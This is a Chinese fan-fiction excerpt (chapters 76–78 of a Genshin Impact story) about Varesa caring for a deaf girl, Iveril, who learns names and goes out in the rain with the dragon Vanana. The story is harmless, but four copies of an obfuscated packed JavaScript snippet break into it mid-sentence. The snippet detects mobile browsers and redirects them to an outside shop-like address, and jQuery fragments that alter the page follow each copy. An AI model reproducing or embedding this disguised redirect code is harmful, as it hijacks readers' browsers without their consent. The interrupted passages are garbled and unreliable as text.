垂下眼睛,你长长的眼睫在脸上投下一片阴影,小小的软绵绵的手捏着纸擦拭自己的另一只手,过了一会儿换只手拿纸,擦起原来的那只手。 这样的事情,你做得细致而认真。凉凉的、舒爽的感觉附上你的手心手背,你想起从水桶里掬起一捧水的感觉。有些相同、又有些不同,至于是哪里相同、哪里不同?你还不太能说得出来。 终于擦完手,你模仿着大姐姐的动作,朝桌子中间的那碟炎岩之颂探去。最先碰到的是一块土豆,黄黄的,摸起来像是有一颗颗细密的东西在表面。你吃过,松松软软的,绵绵的,很好吃。 你摊开手掌,想要把那块土豆抓起来,但你错估了土豆此时的松软程度。只是轻轻碰了碰,那块比你的半个掌心还稍大一点的土豆就碎了开来,变成了三块更小的、有着不规则边缘的土豆。 你有点愣住了。飞快地看了看大姐姐,还有旁边的大龙龙,大姐姐还在吃东西,大龙龙也像是没有发现你做了什么。你轻呼了一口气。 还好、还好。没被看到就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859456|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一次,你成功抓到了变得小块的土豆。掌心因为合拢的手指而聚拢起来的肉顶起一个窝窝,土豆与肉窝窝相触,留下黏糊糊的印记。 将带了土豆的手收回到跟前,你就着手小口小口吃掉了本就不算大的土豆。 你鼓动腮帮子咀嚼,把已经变成土豆泥的土豆咽下喉咙。吃着温热的食物带来的美妙感让你不由眯了眯眼睛,像是一只猫晒着太阳打盹,又像是在窗台边扑出去把光线按至爪下的慵懒。 精神逐渐放松下来的你拿起鲜嫩的鱼肉送到嘴边,专注地拨弄着又尖又细的鱼刺,没再额外关注大姐姐的一举一动。 在这期间,大姐姐的龙伙伴似乎是担心你干吃着东西会渴,还适时地把装了水的水杯送到你的手边。 好大一个龙头凑到面前,你的手上还拿着食物。你看了看食物,又看了看大龙龙头上那对显眼的角,最后和那双和大姐姐的类似、但颜色更为浓郁的紫色眼睛对上,咽下快到食道的舌头上的食物:“谢谢。” 无论是人还是龙,被帮助了就是要说“谢谢”的。 * 呼……还好瓦娜娜来了。瓦雷莎在心里感叹,不然她都不知道要怎么去接近伊薇尔了。毕竟,伊薇尔看起来一副炸毛的样子,似乎轻轻碰一碰就要炸着毛蓬成一个毛团飞上天了。 虽然在纳塔,人们确实可以通过绒翼龙的帮助飞上天空没错啦。瓦雷莎有些无奈地想。但如果伊薇尔真的飞上了天,要抓回来的话,可能真的会有点麻烦呢,如果周围没有合适的可以用来冲锋的垒高岩地的话。 某种程度上可以说是十分执着的瓦雷莎一边这样想,一边示意这份由瓦娜娜送进来的炎岩之颂可以吃之后在伊薇尔的面前率先吃起来。 也就是伊薇尔还不了解瓦雷莎,才会以为瓦雷莎是真的在一心吃东西,并随之放松下来。 伊薇尔的视线,很明显哦。沐浴在小女孩还没有学会隐藏的描摹自己轮廓的目光里,瓦雷莎安之若素地继续慢悠悠地吃东西。 再,多关注她一点吧?或许正好是因为伊薇尔待在自己的家里,或许是因为正用这种眼神看着自己的人是伊薇尔,隐秘的想法缠上瓦雷莎的心脏。不够,现在这种程度还不够。瓦雷莎心里的小人摇头。 要更亲密的、更专注的、更是伊薇尔自己想要的自由的。 沃陆之邦的人,在纳塔这个战争的国度里都是有名的崇尚武力与热衷锻炼。锻炼到什么程度才算是足够的呢?强大到什么程度才算是可以停止的呢?对于这方面,即便是强大如火神也不会懈怠。 永远仍有不足、永远仍有人在自己的前方、永远有可以变得更强的地方、永远不知止息的狂热。 不过,还是要适度才行。用舌尖顶了顶上颚,瓦雷莎好脾气地在心里告诫自己。就像锻炼是好的,锻炼得过了头就会变坏,肌肉会被拉伤、变得脆弱。现在对伊薇尔,也得循序渐进才可以。 虽然确实很想立刻就变成亲密的家人……但还是得慢慢来才可以的,对吧? 76.纳塔篇-14 拿起水杯轻啜了一口,你把杯口留有水痕的杯子放到桌面上,没再继续吃。 只是有一点点饿而已,没必要吃太多。吃太多的话,很容易就会想睡觉的。你才刚醒没多久呢,还不急着继续去睡觉。 而且…… 你橙色的眼睛瞥了瞥桌上摆放的那碟菜,原本装得满满当当的一碟已经被吃了个七七八八,剩下的鱼肉和土豆之类的就像是小猫三两只。 没有忘记自己现在待的是什么地方,没有忘记自己吃的东西是谁带来的。这里是大姐姐的家,这是大姐姐的龙送来的食物。所以,如果因为你的出现而让大姐姐吃不饱,那么大姐姐会很难过的,给你递水的大龙龙也会很难过。 反正你不是很饿。想到这里你移开了视线,等你饿了你可以自己在附近找吃的,说不定会找到结出果子的树什么的,又或者像绘本里画的那样,你走到森林里,刚好有只兔子冲过来撞到树桩上。 过了一会儿,你把目光重新投回桌上的饭菜上,想看看大姐姐吃得怎么样了。不看不知道,一看……感觉好像没什么变化?你陷入了困惑。 不应该啊,难道说大姐姐吃饱了吗。你微微抬头,正好对上一双笑盈盈的紫色眼睛。那双眼睛直直地望着你,不知道看了多久。 ! 莫名地,似乎有电流窜上你的天灵盖,你打了个激灵,汗毛竖起。是有什么人在看吗?你转动脑袋,透明的窗户映出外面的果树,树上的叶子随着风轻轻飘动;屋子里也没有其他人,只有你、对着你微笑的大姐姐和垂下尾巴的大龙龙。 可能那种像是被什么盯上的感觉是错觉吧。找不到来源也想不出这样的原因,你没过多纠结。 重新看向大姐姐,对方并没有对你忽然转动脑袋的行为有什么反应,而是微笑着朝你摆摆手,确保你正看着她后,伸出手指着她自己,张开嘴:[]。 ?是,什么意思?你歪了歪头,视线没有离开大姐姐。于是,你看到大姐姐面色不改地与你对视,再一次重复刚才的口型:[]。 是在,教你说话吗。 你有些迟疑,在大姐姐又一轮的重复中败下阵来:“哇……沙?”尝试模仿的话语尾音上扬,流露出你的不确定来。 大姐姐指着她自己,是想说这是她的名字,还是说让你看着她不要移开眼睛?你不确定。可能这是大姐姐的名字,可能不是,都不重要。 应该你知道的,你总会知道;不该你知道的,你就算记了也会忘掉。这样想着,你敛了敛眼眸,没有对有人在教你说话的这件事表现得很热衷。不过就算这样,你还是乖乖地张开口,在大姐姐口型变化之后尝试重复出来。 对你而言,尝试说话就像是打开一个不知道里面有什么的盒子,充满了未知,你不会知道说了这句话之后别人会有什么反应。而“你好”、“谢谢”这些见面用语就像是安全词,可能没什么用,但可以说,不会引发什么后果的那种。 你其实不像你的妈妈那样认为你是个“生了病的孩子”。你觉得自己没有哪里难受的,也没有哪里发痛,你是个健康的孩子,除了你脑子里想些什么的时候不能像绘本里画的那样冒出写了想法的气泡之外。 你也并不喜欢学习说话这个过程……对于一个听不到的孩子来说,学习说话如同往黑洞里丢石子,渴望得到一个回音。大部分情况下,对不知道为什么对,错不知道为什么错的莫名其妙。 更别说你在学习说话的过程中大部分时候都得不到反馈,应该说没有反馈已经是很好的反馈了,当你的表现不能让你的妈妈满意时,你就会看到那个和你有着同样浅黄色头发的女人皱起眉头。 那时,大家都会不开心,妈妈不开心、爸爸不开心,你也不开心。所以,即便觉得让你张嘴说些不知道什么的东西这件事很无趣,被教着要当个好孩子的你还是会乖乖地练习的,当妈妈看着你的时候。 哪怕现在已经认定自己是个坏孩子,你也没有摆脱过去培养出来的习惯,还是会在别人尝试着教你说话的时候跟着说。嗯,前提是你有意识到别人在尝试教你说话。 “哇……勒……沙……”不知过去了多久、不知重复了多少遍,中途又夹杂了诸如“哇哩啥”“瓦辣沙”的音节。你张开嘴吐出这几个字眼,眼神逐渐虚空。 什么时候才会结束呢,感觉就像是走在路上,忽然下了大雨,于是急急忙忙躲在前面的屋檐下,屋里透露出灯光,但你只是一个过路人,这里温暖的灯光与避雨的屋檐都不真正属于你,你只能抬头望着灰蒙蒙的天,祈祷雨早点停,乌云快些散去。 无法控制的,只能祈求的感觉。置身于命运的洪流,不知何时才会迎来停歇。 简单来说,你学到脑子蒙了。 - 希望伊薇尔不要生气才是……瓦雷莎看着面前放空了眼神嘴上仍跟着念的小女孩暗想,略有几分心虚。 或许把伊薇尔抱到怀里,牵着她的手摸上自己的喉咙让她感受自己说话时的震动、同时自己摸着伊薇尔细细的脖颈来体会说不定会比较有成效。不过,喉咙、或者说脖子,确实是一个比较敏感的部位。 把自己的脖子送到别人的手里,这和把自己的致命弱点交出去有什么区别?瓦雷莎自己是没有那么在意啦,就算伊薇尔真的一不小心想做什么,瓦雷莎也不会察觉不到——不要小瞧一个战士的应急应变能力啊。 可伊薇尔一副会很在意的样子,光是靠近一点都像是本能地想要把自己蜷缩起来,又强行要求自己把毛炸开、好让自己看起来更强壮,以此来吓跑别人的小动物。能把伊薇尔抱回来还是因为当时的伊薇尔睡着了。 瓦雷莎想要给予伊薇尔一切她所能给予的美好之物。只是,很多时候不是说你给了,别人就会要的。可能有担心拿了东西之后会不会被牵扯进什么麻烦事的顾虑,可能单纯不想要。 假如瓦雷莎真的牵着伊薇尔的手摸上自己的喉咙,伊薇尔会不会因此感到害怕?当瓦雷莎的手搭上她的脖子时。 不能在伊薇尔刚来这里的第一天就把伊薇尔吓到。这样想着,瓦雷莎遗憾地放弃了自己原本的想法,转而改为指着自己一遍遍地告诉伊薇尔她的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873874|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ——也就有了现在的这样伊薇尔表情越来越少的一幕。 抱歉抱歉……只是,瓦雷莎认为这是必要的过程。伊薇尔总会遇到需要和别人交流的场景的,她可以不喜欢和别人交流,但不能不会。需要经过锻炼,去磨练与掌握。 再者,就是瓦雷莎自己的一点私心。愿意表达自己想法的人往往不容易出问题,纳塔这片土地上发生过许多场战争,倘若一个人战后大哭、随便拉着一个路过的人就开始絮絮叨叨地倾诉,那倒没有什么,怕的是那些该哭却没哭的、一声不吭的人。 人啊,既坚韧又脆弱。倘若不学会排解自己的负面情绪,迟早有一天会被那些看似轻飘飘却又沉重的负面情绪压垮的。压倒骆驼的从来不是“一根稻草”,而是“最后一根稻草”。 而倾诉,是最简单最快捷的排解方法。在倾诉的过程中复盘、学会与过去的自己和解,当然,这种算是理想情况,现实中又会因为不同的人产生不同的结果。只是,总比一开始憋在心里的要好吧。 所以,该哭就哭,该笑就笑吧,伊薇尔。不要去做别人眼中的你,去做你自己吧,伊薇尔。 …… 而现在,是在测试上限。如同新手举哑铃时不能一来就挑重的举,要先从最轻的开始,再慢慢地往上面加重,直到找到那个不至于对身体产生伤害的、又能最大限度地达到锻炼效果的界点。 一遍一遍地重复同样的话语无疑是个枯燥的过程。瓦雷莎倒没什么感觉,趁着这个时间又好好地看了伊薇尔一遍,再一次坚定了伊薇尔在自己心里的印象:漂亮的,可爱的,应该永远开心、有着美好未来的。 只是看着伊薇尔的表情越来越淡,再加上继续教“瓦雷莎”这三个字的效果似乎不太好,瓦雷莎还是终止了对伊薇尔关于自己名字的教学,转而把手指向自己那已经开始打盹的龙伙伴:“瓦娜娜”。 被叫到名字的,快要睡着的突角龙猛地抬头。 尽管觉得这个过程无趣,依然看着瓦雷莎口型学习的小女孩一下子发现了瓦雷莎口型的变化,还有换了个指向的手。 脑袋随着向旁边指去的手摆动,小女孩和地上趴着的突角龙面面相觑,半晌,发出两个相同的音节:“……呐呐?” 仿佛应和一般,抬起脑袋的突角龙脑袋往前伸了伸,发出一阵类似咕哝的声音。 小女孩什么都听不到,却能看到突角龙伸前的脑袋。这下,像是被肯定了一样,没让瓦雷莎再次教导,伊薇尔就兴奋地看着瓦娜娜:“呐呐!” 掷地有声。 是、是。瓦娜娜在心里回应,随着小女孩喊出的音节走到她的身边,用自己庞大而沉重的角冠轻轻碰了碰小女孩。 瓦雷莎发誓,她看到当瓦娜娜靠近时,伊薇尔的脸变得红扑扑的。 看了看眼睛亮晶晶的小女孩,又听着伊薇尔对瓦娜娜乐此不疲的“呐呐”“呐呐”的呼唤,想起自己之前教导伊薇尔念“瓦雷莎”时伊薇尔的面无表情,瓦雷莎不由暗暗地在心里怀疑:难道,自己的名字真的有这么难念吗orz 77.纳塔篇-15 你轻轻地摸了摸瓦娜娜头上的角。除了外面的那对“V”字形的大角外,里面还有同样形状的、但更小一点的副角。摸起来并不光滑,有一种粗粝感。 为什么她的角是这样的?你抬了抬手,即便你还不算很高,在当事龙的配合下,你还是得以顺利地摸到了瓦娜娜那对大角的尖尖上。说是尖尖,其实也没有真的很尖。你的手指点了点那个呈现出小锐角的尖尖,没有感到刺痛。 “呐呐。”你呼唤着身边的大龙,没有多说什么,只是单纯地呼唤着对方,仿佛能通过这两个简单的音节向你呼唤的对象传达你的情感。 有时候,比起和那些与你长着相似面貌的人相处,你会更愿意和低下头去喝水的龙、在天上盘旋的鸟相处,或者就自己一个人坐到开阔的地方抬头看着天,那样也很好。 你不喜欢当有人来的时候,自己如同商店里摆放出的展品一样重复着那些礼貌用语;你不喜欢别人看向你的眼神,明明你什么都没有做,却会被他们像在看一个棘手的麻烦一样看待。 你不喜欢妈妈不在时冷漠的爸爸,也不喜欢妈妈抱住你让你重复那些那些对你来说并无意义的东西。有时,你会觉得那些字句在你的眼中变成扭曲的线条,模糊成一团。 可惜,你好像没有不喜欢的权利。饿肚子的感觉很难受,妈妈的眼泪掉在脸上的感觉很难受……所以,没关系。 你会去做一个好孩子的。 因为,你只能是一个“好孩子”,如同被折断翅膀的鸟雀,被带在身边、被装在房子里,有人来了,便发出声音,像是小鸟唱歌,你开始你那些礼貌用语的表演。或者你是八音盒上旋转的小人偶?只要有人拧动发条,你就只能旋转。 如果想要美化旋转这个过程,大概也能把它称作“翩翩起舞”? 只是再怎么美化,都无法改变它的本质:你从来都没得选。呈现在你面前的路只有一条。 - 把翅膀断了的小鸟放出笼子,会发生什么?或许有的小鸟会迫不及待地想要回到属于它的天空,或许有的小鸟反而会担惊受怕,疑虑着这会不会是个骗局,在它展开翅膀飞起之后就会立刻有人把它网下,它会再经历一次断翅的痛苦。 翅膀被折断会有多疼?不恰当地类比一下,可能是和人类被掰断手指、被扯掉手臂一样痛吧。 真的好痛啊。 痛到像那个去朋友家喝茶,结果在茶杯里看到墙上挂着的弓的倒影就以为是蛇的人,明明没有见到真的蛇,却还是生了一场大病。 落在□□上的伤可以被看到、被精确地对症下药,可是,落在心灵上的、精神上的伤,又应该怎么治呢?别人再怎么表达,在当事人看来也许就好比跟溺水的人说“你不要溺水”吧:身处不同的境地,就别说什么“感同身受”了。 伊薇尔总是一个人,孤独和寂寞仿佛与她如影随形。要对抗孤独和寂寞吗?她做不到。一开始是根本没有这个概念,到后面就是做不到了,这已经成为了她生活的一部分。 就像她等自己的爸爸妈妈回来那样,等待之后是无尽的等待——可以说,如果没有意外发生的话,现在的伊薇尔大概还在等爸爸妈妈回家、等到爸爸妈妈回家、爸爸妈妈出门、开始下一次地等爸爸妈妈回家的循环吧。 孤独和寂寞之后,会是同样无穷的孤独和寂寞。 伊薇尔发誓,她真的想过去做一个好孩子的,像妈妈希望的那样。可是啊,妈妈,你的期望好像落空了,她好像真的做不了一个好孩子。 伊薇尔不喜欢这个,也不喜欢那个,她一点都不喜欢和别人说话。 “交流的乐趣”?那是什么?伊薇尔没觉得有什么“乐趣”,只觉得麻烦。假如她真的做到了,妈妈希望的那样,会有人在她的身边跟她聊天,别人会在她努力记下的词句中露出笑容。 然后呢? 只要她分心,只要她看着别人嘴唇的目光错开哪怕一个瞬间,别人的笑容就会如同摔到地上的碗碟一样,四分五裂。 伊薇尔不喜欢这样,努力的结果,看起来也没什么好的。 可是不这样,她还能怎样?伊薇尔不知道。而有的时候,不是不知道,时间就会静止、她就可以不做选择的。 所以,命运推着她前行,从未诉诸于口的不安推着她前行,她成了瓦雷莎现在看到的这个伊薇尔。 * 不要再想了、不要再想了。再想下去,脑袋又会变痛的。你这样告诉自己,强行挥散脑海里模糊的片影。 至少现在,你仿佛获得了一丝喘息的空间,虽然你不知道这个供你喘息的空间什么时候会消失。也许很久很久之后都没有消失,也许下一秒就会消失。谁知道呢。 看着面前脸都快被那对巨大的角挡住、顽强地露出两只圆溜溜的紫色眼睛的大龙,你弯了弯嘴角,又唤了一声:“呐呐”。 什么都看不到的你自然是不会听到瓦娜娜有没有回应的,你也做不到从一张龙脸上分析它的这个眨眼、这个表情的变化暗含着什么意思,会不会对你有什么不满意。 整天想这想那的,可是会很难受的,过去的你就是经验之谈。至于目前嘛,你学会了遇到想不通的事情就把它抛到脑后。过多的纠结并无意义,迟早有一天,真正重要的事情会让你无法逃避、必须做出选择的。 所以,没关系,如果现在很难做出选择,那就把它往后推吧。说不定烦恼它会自己消失呢。 什么都没想、眼神不知不觉离开了瓦娜娜的身体放空了的你忽然感觉到有什么东西碰了碰你的小腿,似乎带着推力。软中带硬的、凉凉的,你一下子回过神来。 放眼望去,映入眼帘的是瓦娜娜的前腿。突角龙的腿并不算长,加之对方庞大的身体,能看出来她没有把你推倒已经收着力了。 “欸?”看着瓦娜娜的脸,发现那股推力依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16893676|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有消失,你发出疑惑的声音。你原本以为是瓦娜娜看你在发呆,才推了推你让你回神的。现在看来,好像不是这样? 你顺着那股小腿上受到的力往外走了两步,结果发现身子够你整个人躺上去还有空余地方的瓦娜娜在你的身边亦步亦趋,小腿感受到的推力没有消失,还是和之前朝着同一个方向的推力。 你朝着那个方向看了看,刚好看到因为瓦娜娜进来时没关上的门口。这一瞬间,你福至心灵:它,是在叫你出去? 胸腔里往日平稳跳动的心脏忽然开始“砰砰”、“砰砰”地跳起来。你听不到声音,没有办法用“震耳欲聋”来形容自己的心跳声;但是你能感受到,那颗并不算大的器官此时拉满了它的存在感。 你不由伸出手抚上自己的心脏,即便隔着皮肉,你的手掌都能感受到那种震动。富有节奏的、欢快得几乎可以用雀跃来形容的。 你好想顺着那扇打开的门出去,什么都不管啊。 但是,不行。“呐呐”是“沙沙”——是的,你决定暂时叫大姐姐“沙沙”了——的龙伙伴,如果“呐呐”出去的话,大概,是要经过“沙沙”的允许的?按“沙沙”的意思,你想出去,大概也是要经过允许的。 你转过头,视线有目的性地投向那个头上有这一对白色大角、粉色的发间有着两只外黑内粉的耳朵的少女。在你停止说话、把注意力都放到瓦娜娜身上之后,她好像就没什么动静了。 此时,似乎是察觉到你望过去的动静,原本曲起手指抵在下颌处作出一副沉思状的牛角少女对你露出一个笑容,大大的亮亮的紫色眼睛里同样是不会让人感到疼痛的情感。 她,看起来没有反对欸。你的小心思冒出来,想要跑到外面的念头在暗地里疯长。 你真的,很久很久没有好好观察过外面的景色了。要么是为了找吃的,结果倒在半路;要么是睡着了,被“沙沙”带来。 小腿上的推力依然没有消失,看到你没有动,突角龙用尾巴碰了碰你的另一条腿,似乎在好奇你为什么不走。你再一次回过头看了看灯光下脸庞秀丽的少女,确认自己真的没有在她的脸上看出阻止的意味。 于是,没再需要瓦娜娜又一次的推拱,你迈出了步伐。先是慢慢的一步、两步……接着越来越快,快到你几乎觉得自己长出了翅膀,整个人都要飞起来一样。 当你走出了房间的门口,又在瓦娜娜的帮助下走出了屋子的大门,果园里郁郁葱葱的果树映照在你的眼底,或许现在还不是收获的季节,你只在部分果树上看到了青青的果子。 难怪你之前没有找到果子呢。你你这样想,不由自主地朝着外面走了几步。 “啪嗒”。 “啪嗒”、“啪嗒”。 额头上、脸上、手臂上晕染开水意。你仰起脑袋,发现太阳不知什么时候隐匿了踪影,只留下一朵朵的乌云。 原来是下雨了啊。 78.纳塔篇-16 瓦娜娜带着伊薇尔出去的事瓦雷莎自然是知道的,毕竟,房间里总共就三个活物,忽然少了两个会喘气的,是个人都会发现吧。 瓦雷莎偏过头,透过没有关紧的窗子,把天上淅淅沥沥下着的小雨尽数拦在眼里,心里忽然涌上了几分不确定:伊薇尔,应该不会冲到外面淋雨吧?瓦娜娜应该会阻止的才是。 不是瓦雷莎想要管束伊薇尔什么的,只是六岁大的孩子,身体对外界的抵抗力并没有大人那么强,很容易受到惊吓,也很容易生病的。如果说是其他习惯了摔摔打打、你追我赶的孩子,瓦雷莎或许还不会这么担心,可伊薇尔…… 想到伊薇尔过去在路上时被父母带在身边、到了一个地方便安顿在房子里,就像一个被搬来搬去、不断变换位置的摆件似的经历,瓦雷莎抿了抿唇。 瓦雷莎不明白,伊薇尔明明是活生生的、有手有脚的、能跑能跳的人,为什么一定要把她拘在某个地方呢?沃陆之邦里不是没有和伊薇尔相近岁数的小孩子,瓦雷莎见过他们的眼睛,有着伊薇尔没有的活泼。 伊薇尔本应该有的,可她本该有的。瓦雷莎垂下眼眸,她说这话没有想过要去指责谁,充其量不过是有些难过,为曾经那个可能会抱着膝盖蜷缩在房子里的小女孩感到难过。 窗外的雨仍在“滴滴答答”地下,瓦雷莎再次看了看,不算大,倘若伊薇尔真的想要在雨中玩、又恰好瓦娜娜没有拦下她,那就让伊薇尔玩一会儿好了。瓦雷莎最终纠结地做出了这个决定。 就一会儿,等时间到了,她会去外面找伊薇尔,让湿漉漉的伊薇尔喝点热水,随后去洗个澡,把湿衣服都换掉。说起来,还好之前整理出了自己小时候的衣服,现在刚好可以给伊薇尔换上。嗯,过段时间也可以带着伊薇尔去买新衣服。 脑海里想象出可可爱爱的小女孩换上不同的款式、却同样可爱的衣服,像个软乎乎的香橙小蛋糕。瓦雷莎不由对着自己想象出来的穿上新衣服的伊薇尔弯了弯眼睛。 - 时间一分一秒流逝,瓦雷莎站起身子,她要去找伊薇尔了。 当家长的可能都会这样吧,嘴上说着孩子开心怎样都好,实际上看不到孩子就会担心。但,会担心是瓦雷莎自己的事情,伊薇尔不需要因此受到干预。就像现在这样,她担心伊薇尔会不会去淋了雨容易生病,那就自己掐着时间去接人。 瓦雷莎不愿意成为那个把名为爱的锁链再度扣上伊薇尔手脚的人。虽然伊薇尔并不怎么说话,瓦蕾莎还是能够从她的身上窥见她过去生活的一角:如果是当真习惯了自由的人,是不会练出个房间都要瞄她个三四回的。 只有那些没有真正拥有过它的人,才会在得到之后忍不住怀疑,怀疑这是真的吗?怀疑这是给自己的,没有给错人吗?怀疑会不会在未来的某一刻它又会被忽然收回去。 可能有人会觉得和这样的人相处好累啊,还得在意对方的这点小想法。但瓦雷莎不在乎,或者说,在她决定和伊薇尔成为家人的时候,她就已经做好了准备。而且,只要不是抱有恶意的人,瓦雷莎都愿意和他们好好相处。 依照瓦雷莎这种标准,自认是坏孩子并暗自为此郁郁寡欢的伊薇尔同样是个好孩子。看,伊薇尔并没有想要伤害别人,也不曾真的对他人实施伤害行为,不是吗? 人与人之间的相处,是一件很奇妙的事情。 有的时候两个此前从没见过面的人会一见如故,有的时候两个相处了很多年的人也还是不太愿意靠近对方,白头如新。而对大部分人来说,两个人的相处,需要很多很多的时间去了解、感受对方究竟是一个什么样的人。 瓦雷莎喜欢伊薇尔,但她不能以此要求伊薇尔必须立刻回应同等的情感。 没关系,她们会有很多时间的。瓦雷莎相信自己,也相信伊薇尔。她相信在未来,她们一定会成为真正的家人,不只是口头上的,更是实际行动中的。 该出发了。 瓦雷莎刚打算朝着敞开的门口迈出脚步,下垂的牛耳就抖了抖,有脚步声,有人在靠近。听起来,有两个脚步声交叠,一个沉闷而厚重,一个轻盈而灵巧,如翩飞的蝴蝶掠过绽开的花瓣。 嘴角不知不觉扬起,瓦雷莎打消了一开始去找人的想法,静静等着脚步声一点点放大,直到这个声音在她身边停下。 抬起眼眸,瓦雷莎看到了身上没有太多水迹的伊薇尔,跟在小女孩身边的瓦娜娜接收到瓦雷莎的目光,悠然摆了摆尾巴。 伊薇尔浅黄的发丝因为淋了点雨,看起来没有平时那么蓬松,但也没有到头发被黏连成一缕一缕的地步,整体看起来还是一个干干净净的小女孩。此刻,这个小女孩睁着她那双又大又亮的橙色眼睛,朝着瓦蕾莎递出了一朵白色的花。 “莎莎!”瓦雷莎听到伊薇尔这样叫自己,一边叫着,一边把手里的花又朝她的方向伸了伸。 伊薇尔手上的花,瓦雷莎认得,那是一朵甜甜花,有着五片白色的花瓣,中间花心的黄色部分鼓鼓的,散发出浓郁的香气,是制糖常用的原料。 甜甜花并不罕见,在提瓦特大陆上,很多地方都有它的身影。 纳塔有很多独具特色的植物,像是生长在海边如羽状的的水栖软体珊瑚、形状如同龙的爪掌,看起来肉乎乎的肉龙掌、花叶外侧有如石质,绽放后露出如晶石般的芯的云岩裂叶……瓦雷莎都见过。 但让现在的瓦雷莎来说,她觉得它们都没有眼前送给她的这一株甜甜花来得珍贵。 瓦雷莎接过甜甜花,视线在甜甜花的下部转了一圈,唔,是在近地面的地方直接掐断的,没有连着根一起拔起来,那看来不能找个花盆把手上的甜甜花种起来了。心思百转间,瓦雷莎不忘露出笑容:“谢谢,伊薇尔。我很喜欢。” 说这话时,瓦雷莎澄然的眼睛任谁都能看出她的真诚。而看到瓦雷莎温暖的笑容,她身前抬起脑袋送花的小女孩也不由弯了弯嘴角。 对瓦雷莎而言,这一株甜甜花无疑是珍贵的。只是这种珍贵不是因为甜甜花本身有多稀少,又或者瓦雷莎有多喜欢甜甜花,而是因为送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913167|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它的人是伊薇尔,仅此而已。 就算送的不是甜甜花,是薄荷、树叶或者其他的什么,瓦雷莎都会喜欢的。瓦雷莎的爸爸妈妈有一个专门的小匣子,用来存放瓦雷莎给他们送的、具有纪念意义的东西。现在,瓦雷莎觉得自己也要准备一个这样的小匣子了。 要不要把这株甜甜花制成干花收藏起来?还是让这株甜甜花物尽其用拿去做菜。 将心比心,如果自己给爸爸妈妈带了一条大鱼回来,比起把这条鱼养着,她会更喜欢这条鱼变成香喷喷的烤鱼,然后和爸爸妈妈还有瓦娜娜一起分享,大家都有份。 瓦雷莎再次端详手里的甜甜花,很好,茎上的叶子还没蔫,黄色的花心也很饱满,轻嗅着都能闻到甜甜的气息。 * 你并没有在雨中停留太久。 当雨水落在你的发顶、你的肩膀、你裸露出来的脸颊和手臂上时,你就已经回过神来了。虽然不知道为什么,感觉心里好像变得松快起来了,人都变得轻飘飘的,像是在柔软的云朵中遨游。不过,这不是什么坏事情,对吧? 如果只有你自己,你可能还要过一会儿才回到屋檐下,但现在,你不是孤身一人。小腿上被什么贴着的感觉没有消失,你垂下眼眸,便看到了瓦娜娜的尾巴。 对方没有催促你,此前推拱着和你一起离开房间的大龙此刻显得格外温顺,她只是贴在你的腿边,没有施加额外的力。 你步入雨中,于是瓦娜娜随着你走到雨里。 你看着瓦娜娜,人和龙的身体不一样,雨水落在她的身上,几个呼吸间便晕染开深色的点来,你抿了抿唇。 不管是不是人,生病都是一件难受的事。这样想着,你试探性地推了推瓦娜娜,把她朝屋檐下推去。你没用太大的力气,怕把她弄痛,没成想,根本没推动瓦娜娜分毫。 你呆了呆。你其实知道自己的力气很大,即便自己收着力气,有的时候还是会弄坏东西。在妈妈的教育下,你习惯了约束自己的力量,从原本五指收握间能在铁棍上留下指痕变得能够灵巧地挥动筷子而不把它们弄断。 这样没什么不好的,妈妈可以不用再给你收拾地上的碎片,唯一的坏处是当你需要使力时,你很难去掌控一个适量的度。换言之,如果你真的想,你大概能够推动瓦娜娜,但你不能保证在推动的时候不把她弄伤。 她给你端来好吃的,给你送来水,她跟在你身边,没有伤害你。最重要的是,她不是人。你不用去想她会不会打算把你变成什么样子,不用透过她脸上些微的变化去揣摩她的想法。 你不想这样的瓦娜娜因你而受伤。 还想挣扎一下、体验淋雨究竟是什么感觉的你对着瓦娜娜朝屋檐下指了指,而瓦娜娜没有动弹。 好吧、好吧,你妥协地走到屋檐下,身边的瓦娜娜配合你的步调一同走到无雨的地方。 不淋雨,看着雨为世界披上白纱也挺好的。 